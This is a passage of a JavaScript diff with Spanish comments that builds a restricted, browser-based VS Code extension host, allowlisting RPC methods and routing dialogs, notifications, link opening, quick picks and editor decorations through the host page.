129+ // llamaría a CUALQUIER función del actor con ese nombre. Aquí solo pasan los
130+ // métodos «$…» que la página permite para cada actor (rpc-allowlist.json);
131+ // el resto se rechaza (la extensión recibe un error) y se cuenta. También
132+ // sirve para saber qué proveedores registra una extensión (y no VS Code) y
133+ // para la foto de la superficie de la API.
134+ const proto = m.RPCProtocol.prototype;
135+ const actors = new Map(); // nombre → actor
136+ let fromExtHost = 0;
137+ const invokeOriginal = proto._doInvokeHandler;
138+ const setOriginal = proto.set;
139+ proto.set = function (identifier, value) {
140+ try { actors.set(identifier.sid || m.getStringIdentifierForProxy(identifier.nid), value); } catch { /* — */ }
141+ return setOriginal.call(this, identifier, value);
142+ };
143+ const allowed = new Map(); // actor → Set(métodos); sin lista, nada pasa
144+ for (const [a, ms] of Object.entries((config.rpc && typeof config.rpc.actors === 'object' && config.rpc.actors) || {})) {
145+ if (Array.isArray(ms)) allowed.set(a, new Set(ms.filter(x => typeof x === 'string' && x.startsWith('$'))));
146+ }
147+ const NONE = new Set();
148+ const actorName = rpcId => { try { return String(m.getStringIdentifierForProxy(rpcId)); } catch { return 'actor#' + rpcId; } };
149+ const denials = { n: 0, by: new Map(), timer: null };
150+ const calls = new Map(); // «Actor.$método» → veces (diagnóstico para el censo)
151+ function deny(actor, method) {
152+ denials.n++;
153+ const k = (actor + '.' + method).slice(0, 160);
154+ denials.by.set(k, (denials.by.get(k) || 0) + 1);
155+ if (denials.by.size > 200) denials.by.delete(denials.by.keys().next().value);
156+ if (!denials.timer) {
157+ denials.timer = setTimeout(() => {
158+ denials.timer = null;
159+ send({ t: 'rpc.denied', n: denials.n, top: [...denials.by].sort((a, b) => b[1] - a[1]).slice(0, 10) });
160+ }, 100);
161+ }
162+ }
163+ // los fallos al activar una extensión llegan por aquí y no quedan en el
164+ // estado de VS Code: se apuntan para decir por qué no arranca
165+ const activationErrors = new Map(); // id → texto
166+ proto._doInvokeHandler = function (rpcId, methodName, args) {
167+ const actor = actorName(rpcId);
168+ const method = typeof methodName === 'string' ? methodName : String(methodName);
169+ if (!method.startsWith('$') || !(allowed.get(actor) || NONE).has(method)) {
170+ deny(actor, method);
171+ throw new Error('Elffuss Code does not let extensions call ' + actor + '.' + method.slice(0, 100));
172+ }
173+ const ck = actor + '.' + method;
174+ if (calls.has(ck) || calls.size < 1000) calls.set(ck, (calls.get(ck) || 0) + 1);
175+ if (methodName === '$onExtensionActivationError') {
176+ try {
177+ const id = String((args[0] && (args[0].value || args[0]._lower)) || args[0]).toLowerCase();
178+ activationErrors.set(id, errText(args[1]) + (args[2] && args[2].dependency ? ` (missing dependency ${String(args[2].dependency).slice(0, 200)})` : ''));
179+ setTimeout(() => status(id), 0);
180+ } catch { /* — */ }
181+ }
182+ fromExtHost++;
183+ try { return invokeOriginal.call(this, rpcId, methodName, args); }
184+ finally { fromExtHost--; }
185+ };
186+
187+ // ── preguntas a la página ──
188+ // Lo que necesita al usuario (abrir una dirección, un aviso con botones, un
189+ // diálogo, un selector, un cuadro de texto) se le pregunta a la página, que
190+ // lo pinta como texto y contesta con datos planos ({t:'ui.result'}). La
191+ // página contesta SIEMPRE, también cuando lo descarta (con null).
192+ let nextAsk = 1;
193+ const asks = new Map(); // req → resolve
194+ function ask(t, payload, token) {
195+ const req = nextAsk++;
196+ return new Promise(resolve => {
197+ asks.set(req, resolve);
198+ if (token && typeof token.onCancellationRequested === 'function') {
199+ token.onCancellationRequested(() => { if (asks.delete(req)) { send({ t: 'ui.cancel', req }); resolve(null); } });
200+ }
201+ send({ t, req, ...payload });
202+ });
203+ }
204+ const msgText = msg => (typeof msg === 'string' ? msg : msg instanceof Error ? msg.message : msg && typeof msg.value === 'string' ? msg.value : msg == null ? '' : String(msg));
205+ const label = v => String(typeof v === 'string' ? v : v && typeof v.label === 'string' ? v.label : v == null ? '' : v).replace(/&&/g, '').slice(0, 200);
206+ const SEV = { 0: 'info', 1: 'info', 2: 'warning', 3: 'error', info: 'info', warning: 'warning', error: 'error' };
207+ const sevOf = s => SEV[s] || 'info';
208+ const sourceOf = s => (s && typeof s === 'object' && typeof s.id === 'string' && /^[\w-]+\.[\w.-]+$/.test(s.id) ? s.id.toLowerCase().slice(0, 200) : undefined);
209+
210+ // ── abrir direcciones ──
211+ // http, https y mailto: la página pregunta enseñando la dirección entera y
212+ // solo ella abre (si el usuario dice que sí). file: de un documento abierto:
213+ // se enseña ese documento. Cualquier otra cosa (command:, vscode:, data:…)
214+ // se rechaza. Nada sale nunca de aquí.
215+ const openRefused = { n: 0 };
216+ const uriString = r => (typeof r === 'string' ? r : r && typeof r.toString === 'function' ? r.toString() : '');
217+ const opener = {
218+ _serviceBrand: undefined,
219+ registerOpener: () => ({ dispose() {} }),
220+ registerValidator: () => ({ dispose() {} }),
221+ registerExternalUriResolver: () => ({ dispose() {} }),
222+ setDefaultExternalOpener() {},
223+ registerExternalOpener: () => ({ dispose() {} }),
224+ async open(resource) {
225+ const s = uriString(resource).slice(0, 8192);
226+ const scheme = (/^([a-z][a-z0-9+.-]*):/i.exec(s) || [])[1]?.toLowerCase();
227+ if (scheme === 'http' || scheme === 'https' || scheme === 'mailto') return (await ask('open.request', { url: externalString(resource).slice(0, 8192) })) === true;
228+ if (scheme === 'file' && docs.has(s)) { showDoc(s); return true; }
229+ openRefused.n++;
230+ log('warn', 'refused to open ' + s.slice(0, 200));
231+ return false;
232+ },
233+ // sin túneles ni peticiones: la dirección tal cual
234+ async resolveExternalUri(resource) { return { resolved: resource, dispose() {} }; },
235+ };
236+ const clipboard = {
237+ _serviceBrand: undefined,
238+ triggerPaste: () => undefined,
239+ // la página solo escribe con un gesto reciente del usuario
240+ writeText: async text => { if (typeof text === 'string' && text.length <= 500000) send({ t: 'clipboard.write', text }); },
241+ readText: async () => '',
242+ readFindText: async () => '',
243+ writeFindText: async () => {},
244+ writeResources: async () => {},
245+ readResources: async () => [],
246+ hasResources: async () => false,
247+ clearInternalState() {},
248+ readImage: async () => new Uint8Array(0),
249+ };
250+
251+ // ── avisos ──
252+ const handle = () => {
253+ const closed = emitter(), visible = emitter();
254+ let isClosed = false;
255+ return {
256+ close() { if (!isClosed) { isClosed = true; closed.fire(); } },
257+ onDidClose: closed.event, onDidChangeVisibility: visible.event,
258+ progress: { infinite() {}, total() {}, worked() {}, done() {} }, updateSeverity() {}, updateMessage() {}, updateActions() {},
259+ };
260+ };
261+ const filterChanged = emitter();
262+ // un aviso con botones (acciones o «choices»): la página dice cuál se pulsó
263+ function toast(sev, message, actions, source, onCancel) {
264+ const h = handle();
265+ const list = (Array.isArray(actions) ? actions : []).filter(a => a && typeof a.run === 'function').slice(0, 5);
266+ ask('ui.notify', { sev: sevOf(sev), text: msgText(message).slice(0, 4096), actions: list.map(a => label(a.label) || '?'), ...(source ? { source } : {}) }).then(i => {
267+ if (Number.isSafeInteger(i) && list[i]) { try { list[i].run(); } catch (e) { log('warn', 'notification action failed: ' + errText(e)); } }
268+ else if (typeof onCancel === 'function') { try { onCancel(); } catch { /* — */ } }
269+ h.close();
270+ });
271+ return h;
272+ }
273+ const notifications = {
274+ _serviceBrand: undefined,
275+ onDidChangeFilter: filterChanged.event,
276+ setFilter() {}, getFilter: () => 0, getFilters: () => [], removeFilter() {},
277+ notify(n) { return toast(n && n.severity, n && n.message, n && n.actions && n.actions.primary, sourceOf(n && n.source)); },
278+ info(msg) { for (const x of [].concat(msg)) toast('info', x); },
279+ warn(msg) { for (const x of [].concat(msg)) toast('warning', x); },
280+ error(msg) { for (const x of [].concat(msg)) toast('error', x); },
281+ prompt(sev, message, choices, options) { return toast(sev, message, choices, sourceOf(options && options.source), options && options.onCancel); },
282+ status(message) { log('info', 'status: ' + msgText(message).slice(0, 500)); return { close() {}, dispose() {} }; },
283+ };
284+
285+ // ── diálogos modales (showXMessage con {modal: true}) ──
286+ const dialogShown = emitter(), dialogWill = emitter();
287+ async function dialogAsk(type, message, detail, labels, cancel) {
288+ const i = await ask('ui.dialog', { sev: sevOf(type), text: msgText(message).slice(0, 4096), ...(detail ? { detail: msgText(detail).slice(0, 4096) } : {}), buttons: labels.slice(0, 10), ...(cancel ? { cancel } : {}) });
289+ return Number.isSafeInteger(i) && i >= 0 && i < labels.length ? i : -1;
290+ }
291+ const dialogs = {
292+ _serviceBrand: undefined,
293+ onWillShowDialog: dialogWill.event,
294+ onDidShowDialog: dialogShown.event,
295+ async confirm(c = {}) {
296+ const i = await dialogAsk(c.type, c.message, c.detail, [label(c.primaryButton) || 'OK'], label(c.cancelButton) || undefined);
297+ return { confirmed: i === 0, checkboxChecked: false };
298+ },
299+ async prompt(p = {}) {
300+ const buttons = (Array.isArray(p.buttons) ? p.buttons : []).slice(0, 10);
301+ const cb = p.cancelButton;
302+ const i = await dialogAsk(p.type, p.message, p.detail, buttons.map(b => label(b) || '?'), cb ? label(cb) : undefined);
303+ const chosen = i >= 0 ? buttons[i] : (cb && typeof cb === 'object' ? cb : null);
304+ const result = chosen && typeof chosen.run === 'function' ? await chosen.run({ checkboxChecked: false }) : undefined;
305+ return { result, checkboxChecked: false };
306+ },
307+ input: async () => ({ confirmed: false }),
308+ async info(message, detail) { await dialogAsk('info', message, detail, [], label('OK')); },
309+ async warn(message, detail) { await dialogAsk('warning', message, detail, [], label('OK')); },
310+ async error(message, detail) { await dialogAsk('error', message, detail, [], label('OK')); },
311+ about: async () => {},
312+ };
313+
314+ // ── progreso (withProgress) → la barra de estado de Code ──
315+ let nextProgress = 1;
316+ const progressService = {
317+ _serviceBrand: undefined,
318+ async withProgress(options, task) {
319+ const id = nextProgress++;
320+ const title = msgText(options && options.title).slice(0, 300);
321+ let timer = null, pending = null;
322+ const post = (text, done) => send({ t: 'ui.progress', id, text: String(text || '').slice(0, 500), done });
323+ post(title, false);
324+ const progress = {
325+ report(v) {
326+ const m2 = v && typeof v.message === 'string' ? v.message : '';
327+ pending = title && m2 ? title + ': ' + m2 : (title || m2);
328+ if (!timer) timer = setTimeout(() => { timer = null; post(pending, false); }, 250);
329+ },
330+ };
331+ try { return await task(progress); }
332+ finally { clearTimeout(timer); post('', true); }
333+ },
334+ };
335+ const refuse = async () => { throw new Error('Not available in Elffuss Code.'); };
336+ const fileDialogs = {
337+ _serviceBrand: undefined,
338+ defaultFilePath: refuse, defaultFolderPath: refuse, defaultWorkspacePath: refuse,
339+ pickFileFolderAndOpen: refuse, pickFileAndOpen: refuse, pickFolderAndOpen: refuse, pickWorkspaceAndOpen: refuse,
340+ pickFileToSave: async () => undefined, preferredHome: refuse,
341+ showSaveDialog: async () => undefined, showSaveConfirm: async () => 1, showOpenDialog: async () => undefined,
342+ };
343+
344+ // ── editor espejo: lo que VS Code cree que es «el editor activo» ──
345+ let mirror = null;
346+ const activeChanged = emitter(), visibleChanged = emitter();
347+ const none = () => ({ dispose() {} });
348+ const nothing = (...a) => none;
349+ const editorService = {
350+ _serviceBrand: undefined,
351+ onWillOpenEditor: nothing, onDidActiveEditorChange: activeChanged.event, onDidVisibleEditorsChange: visibleChanged.event,
352+ onDidEditorsChange: nothing, onDidCloseEditor: nothing, onDidMostRecentlyActiveEditorsChange: nothing,
353+ activeEditorPane: undefined, activeEditor: undefined, activeTextEditorLanguageId: undefined,
354+ visibleEditorPanes: [], visibleEditors: [], editors: [], count: 0, mostRecentlyActiveEditors: [],
355+ get activeTextEditorControl() { return mirror && mirror.getModel() ? mirror : undefined; },
356+ get visibleTextEditorControls() { return mirror ? [mirror] : []; },
357+ getVisibleTextEditorControls() { return mirror ? [mirror] : []; },
358+ // showTextDocument / vscode.open de un documento abierto: el espejo lo
359+ // enseña y la página decide si cambia de pestaña (solo con un gesto
360+ // reciente del usuario). De uno que no está abierto: nada.
361+ getEditors: () => [], openEditors: async () => [], replaceEditors: async () => {},
362+ async openEditor(input) {
363+ const r = input && (input.resource || (input.original && input.original.resource));
364+ const uri = r ? uriString(r) : null;
365+ if (!uri || !docs.has(uri)) return undefined;
366+ showDoc(uri);
367+ return { getControl: () => mirror, input, group: undefined };
368+ },
369+ isOpened: () => false, isVisible: () => false, closeEditor: async () => {}, closeEditors: async () => {},
370+ findEditors: () => [], save: async () => ({ success: false, editors: [] }), saveAll: async () => ({ success: false, editors: [] }),
371+ revert: async () => false, revertAll: async () => false, createScoped() { return this; },
372+ };
373+
374+ const host = document.createElement('div');
375+ host.style.cssText = 'position:fixed;left:0;top:0;width:1px;height:1px;overflow:hidden;opacity:0;pointer-events:none';
376+ document.body.appendChild(host);
377+ const mirrorBox = document.createElement('div');
378+ mirrorBox.style.cssText = 'width:400px;height:200px';
379+ host.appendChild(mirrorBox);
380+
381+ // estado de lenguaje (lo que VS Code pinta en la barra de estado): Code no
382+ // tiene esa barra; se acepta y no se enseña
383+ const statusChanged = emitter();
384+ const languageStatus = { _serviceBrand: undefined, onDidChange: statusChanged.event, addStatus: () => ({ dispose() {} }), getLanguageStatus: () => [] };
385+
386+ await m.initialize({
387+ ...m.getExtensionServiceOverride({ enableWorkerExtensionHost: true }),
388+ ...m.getKeybindingsServiceOverride(),
389+ ...m.getConfigurationServiceOverride(),
390+ [m.IEditorService.toString()]: editorService,
391+ [m.IOpenerService.toString()]: opener,
392+ [m.IClipboardService.toString()]: clipboard,
393+ [m.INotificationService.toString()]: notifications,
394+ [m.IDialogService.toString()]: dialogs,
395+ [m.IFileDialogService.toString()]: fileDialogs,
396+ [m.ILanguageStatusService.toString()]: languageStatus,
397+ // (sin importar su identificador: VS Code lo resuelve por este nombre)
398+ progressService,
399+ }, host);
400+
401+ const commandService = await m.getService(m.ICommandService);
402+ const features = await m.getService(m.ILanguageFeaturesService);
403+ const markerService = await m.getService(m.IMarkerService);
404+ const extensionService = await m.getService(m.IExtensionService);
405+ const contextKeys = await m.getService(m.IContextKeyService);
406+ const quickInput = await m.getService(m.IQuickInputService);
407+ const codeEditors = await m.getService(m.ICodeEditorService);
408+
409+ // selector rápido y cuadro de texto: los pinta la página (solo texto: sin
410+ // iconos ni botones). createQuickPick/createInputBox (la API completa) aún no.
411+ const pickText = v => String(typeof v === 'string' ? v : v && typeof v.label === 'string' ? v.label : '').replace(/\$\([\w~-]{1,60}\)\s?/g, '');
412+ try {
413+ quickInput.pick = async (picks, options = {}, token) => {
414+ let list;
415+ try { list = await Promise.resolve(picks); } catch { return undefined; }
416+ if (!Array.isArray(list)) return undefined;
417+ list = list.slice(0, 1000);
418+ const items = list.map(it => (it && it.type === 'separator'
419+ ? { sep: pickText(it.label).slice(0, 200) }
420+ : { label: pickText(it && it.label).slice(0, 500), ...(it && typeof it.description === 'string' ? { description: pickText(it.description).slice(0, 500) } : {}),
421+ ...(it && typeof it.detail === 'string' ? { detail: pickText(it.detail).slice(0, 1000) } : {}), ...(it && it.picked === true ? { picked: true } : {}) }));
422+ const many = options.canPickMany === true;
423+ const v = await ask('ui.pick', { items, options: {
424+ ...(typeof options.title === 'string' ? { title: options.title.slice(0, 200) } : {}),
425+ ...(typeof options.placeHolder === 'string' ? { placeHolder: options.placeHolder.slice(0, 200) } : {}),
426+ canPickMany: many, matchOnDescription: options.matchOnDescription === true, matchOnDetail: options.matchOnDetail === true,
427+ } }, token);
428+ const ok = i => Number.isSafeInteger(i) && i >= 0 && i < list.length && list[i] && list[i].type !== 'separator';
429+ if (many) return Array.isArray(v) ? [...new Set(v)].filter(ok).map(i => list[i]) : undefined;
430+ return ok(v) ? list[v] : undefined;
431+ };
432+ quickInput.input = async (options = {}, token) => {
433+ let validation = null, value = typeof options.value === 'string' ? options.value.slice(0, 10000) : '';
434+ // validación al aceptar: si la extensión pone un error, se vuelve a pedir
435+ for (let n = 0; n < 10; n++) {
436+ const v = await ask('ui.input', { options: {
437+ ...(typeof options.title === 'string' ? { title: options.title.slice(0, 200) } : {}),
438+ ...(typeof options.prompt === 'string' ? { prompt: options.prompt.slice(0, 1000) } : {}),
439+ ...(typeof options.placeHolder === 'string' ? { placeHolder: options.placeHolder.slice(0, 200) } : {}),
440+ value, password: options.password === true, ...(validation ? { validation } : {}),
441+ } }, token);
442+ if (typeof v !== 'string') return undefined;
443+ if (typeof options.validateInput !== 'function') return v;
444+ let r = null;
445+ try { r = await options.validateInput(v); } catch { r = null; }
446+ const text = typeof r === 'string' ? r : r && typeof r.content === 'string' && (r.severity === undefined || r.severity >= 3) ? r.content : '';
447+ if (!text) return v;
448+ validation = text.slice(0, 500);
449+ value = v.slice(0, 10000);
450+ }
451+ return undefined;
452+ };
453+ quickInput.createQuickPick = () => { throw new Error('Not supported in Elffuss Code yet.'); };
454+ quickInput.createInputBox = () => { throw new Error('Not supported in Elffuss Code yet.'); };
455+ } catch { /* — */ }
456+
457+ // lenguajes de la página (los de serie de Code y los del nivel 1)
458+ const knownLangs = new Set(monaco.languages.getLanguages().map(l => l.id));
459+ for (const l of Array.isArray(config.languages) ? config.languages : []) {
460+ if (!l || typeof l.id !== 'string' || knownLangs.has(l.id)) continue;
461+ monaco.languages.register({ id: l.id, extensions: (l.extensions || []).filter(x => typeof x === 'string'), aliases: (l.aliases || []).filter(x => typeof x === 'string') });
462+ knownLangs.add(l.id);
463+ }
464+
465+ mirror = monaco.editor.create(mirrorBox, {
466+ model: null, readOnly: false, automaticLayout: false, minimap: { enabled: false },
467+ hover: { enabled: false }, links: false, codeLens: false, inlayHints: { enabled: 'off' }, colorDecorators: false,
468+ folding: false, 'semanticHighlighting.enabled': false, quickSuggestions: false, suggestOnTriggerCharacters: false,
469+ parameterHints: { enabled: false }, lightbulb: { enabled: 'off' }, occurrencesHighlight: 'off', selectionHighlight: false,
470+ stickyScroll: { enabled: false }, formatOnType: false, formatOnPaste: false, wordBasedSuggestions: 'off',
471+ matchBrackets: 'never', renderValidationDecorations: 'off',
472+ });
473+ mirror.onDidChangeModel(() => { activeChanged.fire(); visibleChanged.fire(); });
474+ activeChanged.fire();
475+ // el tema (claro, oscuro, alto contraste) que tiene Code: lo ven las extensiones
476+ { const th = { light: 'vs', dark: 'vs-dark', hc: 'hc-black', 'hc-light': 'hc-light' }[config.theme]; if (th) monaco.editor.setTheme(th); }
477+
478+ // ── proveedores: captura en cada registro de ILanguageFeaturesService ──
479+ let nextHandle = 1;
480+ const providers = new Map(); // handle → { kind, provider }
481+ const later = { n: 0 };
482+ const kindCount = {}; // tipo → proveedores registrados (para el censo)
483+ const lastExtension = { id: null };
484+ const selectorOf = sel => [].concat(sel).map(s => (typeof s === 'string' ? { language: s }
485+ : s && typeof s === 'object' ? { language: str(s.language, 100), scheme: str(s.scheme, 50), pattern: str(typeof s.pattern === 'string' ? s.pattern : s.pattern && s.pattern.pattern, 500) } : null)).filter(Boolean);
486+ for (const [name, kind] of Object.entries(KINDS)) {
487+ const reg = features[name];
488+ if (!reg || typeof reg.register !== 'function') continue;
489+ const orig = reg.register.bind(reg);
490+ reg.register = (selector, provider) => {
491+ const d = orig(selector, provider);
492+ if (!fromExtHost) return d; // de VS Code mismo: no sale
493+ const handle = nextHandle++;
494+ const meta = {};
495+ if (kind === 'completion') { meta.triggerCharacters = (provider.triggerCharacters || []).filter(c => typeof c === 'string').slice(0, 50); meta.resolve = typeof provider.resolveCompletionItem === 'function'; }
496+ if (kind === 'signature') { meta.triggerCharacters = (provider.signatureHelpTriggerCharacters || []).slice(0, 20); meta.retriggerCharacters = (provider.signatureHelpRetriggerCharacters || []).slice(0, 20); }
497+ if (kind === 'formatOnType') meta.triggerCharacters = (provider.autoFormatTriggerCharacters || []).slice(0, 20);
498+ if (kind === 'codeAction') { meta.kinds = (provider.providedCodeActionKinds || []).filter(k => typeof k === 'string').slice(0, 50); meta.resolve = typeof provider.resolveCodeAction === 'function'; }
499+ if (kind === 'rename') meta.resolve = typeof provider.resolveRenameLocation === 'function';
500+ if (typeof provider.displayName === 'string') meta.displayName = provider.displayName.slice(0, 200);
501+ if (provider.extensionId) meta.extension = str(provider.extensionId.value || provider.extensionId._lower || String(provider.extensionId), 200);
502+ providers.set(handle, { kind, provider });
503+ kindCount[kind] = (kindCount[kind] || 0) + 1;
504+ send({ t: 'providers.add', handle, kind, selector: selectorOf(selector), meta });
505+ return { dispose() { d.dispose(); if (providers.delete(handle)) send({ t: 'providers.remove', handle }); } };
506+ };
507+ }
508+ const laterKinds = {};
509+ for (const name of LATER) {
510+ const reg = features[name];
511+ if (!reg || typeof reg.register !== 'function') continue;
512+ const orig = reg.register.bind(reg);
513+ reg.register = (selector, provider) => { if (fromExtHost) { later.n++; laterKinds[name] = (laterKinds[name] || 0) + 1; } return orig(selector, provider); };
514+ }
515+
516+ // ── setContext: la clave se pone aquí y la página la refleja ──
517+ m.CommandsRegistry.registerCommand('setContext', (accessor, key, value) => {
518+ if (typeof key !== 'string') return;
519+ contextKeys.createKey(key, value);
520+ if (/^[\w.:-]{1,100}$/.test(key) && (value === null || ['string', 'number', 'boolean', 'undefined'].includes(typeof value))) send({ t: 'ctx.set', key, value: value === undefined ? null : value });
521+ });
522+
523+ // ── extensiones ──
524+ const exts = new Map(); // id → { reg, urls, state }
525+ const unsupported = new Set();
526+ const extCommands = new Set(); // comandos que registraron las extensiones
527+ m.CommandsRegistry.onDidRegisterCommand(id => {
528+ // (los __vsc<uuid> son internos del host de extensiones, no de ninguna extensión)
529+ if (fromExtHost && typeof id === 'string' && !id.startsWith('__vsc')) extCommands.add(id);
530+ // sustituir el tecleo (Vim, Emacs…) no está soportado: se para esa extensión
531+ if (id === 'type' && fromExtHost) {
532+ log('warn', 'an extension registered the "type" command (it replaces typing): not supported');
533+ for (const [eid, e] of exts) if (e.state === 'active' || e.state === 'activating') unsupported.add(eid);
534+ for (const eid of unsupported) removeExt(eid, 'unsupported', 'replaces typing (the "type" command), which Elffuss Code does not support');
535+ }
536+ });
537+
538+ const MIME = { js: 'text/javascript', mjs: 'text/javascript', cjs: 'text/javascript', json: 'application/json', wasm: 'application/wasm', css: 'text/css', svg: 'image/svg+xml', png: 'image/png', txt: 'text/plain', md: 'text/markdown' };
539+ async function addExt({ id, manifest, files }) {
540+ if (exts.has(id)) removeExt(id);
541+ const reg = m.registerExtension(manifest, m.ExtensionHostKind.LocalWebWorker);
542+ const urls = [], fileRegs = [];
543+ for (const [p, bytes] of files) {
544+ const type = MIME[String(p).split('.').pop().toLowerCase()] || 'application/octet-stream';
545+ const url = URL.createObjectURL(new Blob([bytes], { type }));
546+ urls.push(url);
547+ // (cada fichero queda registrado aparte: hay que soltarlo al quitarla,
548+ // o volver a encenderla o actualizarla diría «ya existe»)
549+ fileRegs.push(reg.registerFileUrl('/' + p, url));
550+ }
551+ exts.set(id, { reg, urls, fileRegs, state: 'installed' });
552+ await reg.whenReady();
553+ status(id);
554+ }
555+ function removeExt(id, state = 'stopped', text = '') {
556+ const e = exts.get(id);
557+ if (!e) return;
558+ exts.delete(id);
559+ try { e.reg.dispose(); } catch { /* — */ }
560+ for (const d of e.fileRegs || []) { try { d && d.dispose(); } catch { /* — */ } }
561+ setTimeout(() => { for (const u of e.urls) URL.revokeObjectURL(u); }, 5000);
562+ send({ t: 'ext.status', id, state, text });
563+ }
564+ function status(id) {
565+ const e = exts.get(id);
566+ if (!e) return;
567+ const all = extensionService.getExtensionsStatus ? extensionService.getExtensionsStatus() : {};
568+ const key = Object.keys(all).find(k => k.toLowerCase() === id);
569+ const st = key ? all[key] : null;
570+ // no arrancó: el error de activación; arrancada: los errores que haya
571+ // tenido después solo se cuentan en el texto
572+ const failed = activationErrors.get(id);
573+ const errors = [...(failed ? [failed] : []), ...(st ? [...(st.runtimeErrors || []).map(errText), ...(st.messages || []).filter(x => x && x.type === 3).map(x => errText(x.message))] : [])];
574+ const state = failed ? 'error' : st && st.activationTimes ? 'active' : st && st.activationStarted ? 'activating' : 'installed';
575+ const text = errors.slice(0, 3).join(' · ').slice(0, 1000);
576+ if (state === e.state && text === (e.text || '')) return;
577+ e.state = state;
578+ e.text = text;
579+ send({ t: 'ext.status', id, state, text, providersLater: later.n, openRefused: openRefused.n });
580+ }
581+ if (extensionService.onDidChangeExtensionsStatus) extensionService.onDidChangeExtensionsStatus(ids => { for (const x of ids || []) status(String(x.value || x).toLowerCase()); });
582+
583+ // ── documentos ──
584+ const docs = new Map(); // uri → { model, pageV, pending, steps, applying }
585+ let applyingPage = false;
586+ let fromPage = 0; // >0 mientras se aplica algo que mandó la página (no se le devuelve)
587+ const uriOfModel = model => { if (!model) return null; const u = model.uri.toString(); return docs.has(u) ? u : null; };
588+
589+ // ── lo que una extensión hace en el editor activo → la página ──
590+ // Selección y desplazamiento: VS Code los pide al editor (el espejo); aquí se
591+ // copian a la página, que solo los aplica al documento activo.
592+ let selTimer = null, revealTimer = null, revealPending = null;
593+ const origSetSelections = mirror.setSelections.bind(mirror);
594+ mirror.setSelections = function (sels, source) {
595+ const r = origSetSelections(sels, source);
596+ if (!fromPage && !selTimer) {
597+ selTimer = setTimeout(() => {
598+ selTimer = null;
599+ const uri = uriOfModel(mirror.getModel());
600+ const s = mirror.getSelections() || [];
601+ if (uri && s.length) send({ t: 'editor.selection', uri, selections: s.slice(0, 100).map(x => [x.selectionStartLineNumber, x.selectionStartColumn, x.positionLineNumber, x.positionColumn]) });
602+ }, 0);
603+ }
604+ return r;
605+ };
606+ // Decoraciones (setDecorations): el tipo se registra en ICodeEditorService y
607+ // los rangos se ponen en el espejo. A la página van solo datos planos; ella
608+ // reconstruye el CSS con su lista blanca (decorations.js).
609+ const DECO_KEYS = ['backgroundColor', 'outline', 'outlineColor', 'outlineStyle', 'outlineWidth', 'border', 'borderColor', 'borderRadius', 'borderSpacing',
610+ 'borderStyle', 'borderWidth', 'fontStyle', 'fontWeight', 'textDecoration', 'cursor', 'color', 'opacity', 'letterSpacing', 'overviewRulerColor'];
611+ const CONTENT_KEYS = ['contentText', 'border', 'borderColor', 'fontStyle', 'fontWeight', 'textDecoration', 'color', 'backgroundColor', 'margin', 'width', 'height', 'opacity'];
612+ const plainPick = (o, keys) => {
613+ const out = {};
614+ if (!o || typeof o !== 'object') return out;
615+ for (const k of keys) {
616+ const v = o[k];
617+ if (typeof v === 'string') out[k] = v.slice(0, 300);
618+ else if (typeof v === 'number' && Number.isFinite(v)) out[k] = v;
619+ else if (v && typeof v === 'object' && typeof v.id === 'string') out[k] = { themeColor: v.id.slice(0, 100) };
620+ }
621+ return out;
622+ };
623+ const withContent = (o, keys) => {
624+ const out = plainPick(o, keys);
625+ for (const side of ['before', 'after']) if (o && o[side] && typeof o[side] === 'object') out[side] = plainPick(o[side], CONTENT_KEYS);
626+ return out;
627+ };
628+ const decoOptions = o => ({
629+ ...withContent(o, DECO_KEYS),
630+ ...(o && o.isWholeLine === true ? { isWholeLine: true } : {}),
631+ ...(o && Number.isSafeInteger(o.rangeBehavior) ? { rangeBehavior: o.rangeBehavior } : {}),
632+ ...(o && Number.isSafeInteger(o.overviewRulerLane) ? { overviewRulerLane: o.overviewRulerLane } : {}),
633+ ...(o && o.light && typeof o.light === 'object' ? { light: withContent(o.light, DECO_KEYS) } : {}),
634+ ...(o && o.dark && typeof o.dark === 'object' ? { dark: withContent(o.dark, DECO_KEYS) } : {}),
635+ });
636+ const decoTypes = new Set();
637+ const decoKey = k => (typeof k === 'string' && /^[\w.-]{1,100}$/.test(k) ? k : null);
638+ const registerType = codeEditors.registerDecorationType.bind(codeEditors);
639+ codeEditors.registerDecorationType = function (description, key, options, parentTypeKey, editor) {
640+ const r = registerType(description, key, options, parentTypeKey, editor);
641+ if (decoKey(key) && !parentTypeKey && String(description).startsWith('exthost-api')) {
642+ decoTypes.add(key);
643+ send({ t: 'deco.type', key, options: decoOptions(options) });
644+ }
645+ return r;
646+ };
647+ const removeType = codeEditors.removeDecorationType.bind(codeEditors);
648+ codeEditors.removeDecorationType = function (key) {
649+ const r = removeType(key);
650+ if (decoTypes.delete(key)) send({ t: 'deco.remove', key });
651+ return r;
652+ };
653+ const sendDeco = (key, list) => {
654+ const uri = uriOfModel(mirror.getModel());
655+ if (uri) send({ t: 'deco.set', key, uri, ranges: list.slice(0, 10000) });
656+ };
657+ const origDeco = mirror.setDecorationsByType.bind(mirror);
658+ mirror.setDecorationsByType = function (description, key, opts) {
659+ const r = origDeco(description, key, opts);
660+ if (decoTypes.has(key)) {
661+ sendDeco(key, (Array.isArray(opts) ? opts : []).slice(0, 10000).map(o => {
662+ const range = o && R(o.range);
663+ if (!range) return null;
664+ const hover = o.hoverMessage ? [].concat(o.hoverMessage).slice(0, 10).map(md).filter(Boolean).map(h => (h.md ? { md: h.md.slice(0, 4096) } : { text: h.text.slice(0, 4096) })) : [];
665+ const ro = o.renderOptions && typeof o.renderOptions === 'object' ? withContent(o.renderOptions, []) : null;
666+ if (ro && o.renderOptions.light) ro.light = withContent(o.renderOptions.light, []);
667+ if (ro && o.renderOptions.dark) ro.dark = withContent(o.renderOptions.dark, []);
668+ return { range, ...(hover.length ? { hover } : {}), ...(ro && Object.keys(ro).length ? { ro } : {}) };
669+ }).filter(Boolean));
670+ }
671+ return r;
672+ };
673+ const origDecoFast = mirror.setDecorationsByTypeFast.bind(mirror);
674+ mirror.setDecorationsByTypeFast = function (key, ranges) {
675+ const r = origDecoFast(key, ranges);
676+ if (decoTypes.has(key)) sendDeco(key, (Array.isArray(ranges) ? ranges : []).slice(0, 10000).map(x => { const range = R(x); return range ? { range } : null; }).filter(Boolean));
677+ return r;
678+ };
679+ const origDecoRemove = mirror.removeDecorationsByType.bind(mirror);
680+ mirror.removeDecorationsByType = function (key) {
681+ const r = origDecoRemove(key);
682+ if (decoTypes.has(key)) sendDeco(key, []);
683+ return r;
684+ };
685+
686+ for (const name of ['revealRange', 'revealRangeInCenter', 'revealRangeInCenterIfOutsideViewport', 'revealRangeAtTop']) {
687+ const orig = mirror[name].bind(mirror);
